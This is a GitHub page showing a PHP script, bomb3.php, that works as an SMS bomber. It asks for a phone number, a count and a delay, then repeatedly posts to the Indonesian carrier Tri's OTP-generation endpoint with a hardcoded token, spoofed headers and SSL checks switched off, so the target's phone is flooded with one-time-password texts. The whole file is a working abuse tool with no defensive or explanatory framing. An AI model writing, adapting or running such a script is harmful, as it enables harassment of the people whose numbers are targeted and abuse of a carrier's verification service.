forked from siputra12/Try
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbomb3.php
40 lines (40 loc) · 1.41 KB
/
bomb3.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
function threebomb($no, $jum, $wait = 1){
$x = 1;
$result = "";
while($x <= $jum) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"https://registrasi.tri.co.id/ulang/generateOTP");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"token=dci0aC3VF9F4pEwKSWtGtNT5UY3wqOlE&msisdn=".$no);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_REFERER, 'https://registrasi.tri.co.id/ulang');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
$server_output = curl_exec ($ch);
curl_close ($ch);
$json = json_decode($server_output);
if($json->code == "200" && $json->status == "success"){
$result .= $x.". Success send sms to ".$json->MSISDN." ✔\n";
} else {
$result .= "✘ FAIL<br>";
}
if($wait != 0){
sleep($wait);
}
flush();
$x++;
}
return($result);
}
echo "Nomor? (ex : 628xxxx)\nInput : ";
$nomor = trim(fgets(STDIN));
echo "Jumlah?\nInput : ";
$jumlah = trim(fgets(STDIN));
echo "Jeda? 0-999999999 (enter for 1)\nInput : ";
$jeda = trim(fgets(STDIN));
$execute = threebomb($nomor, $jumlah, $jeda);
print $execute;
?>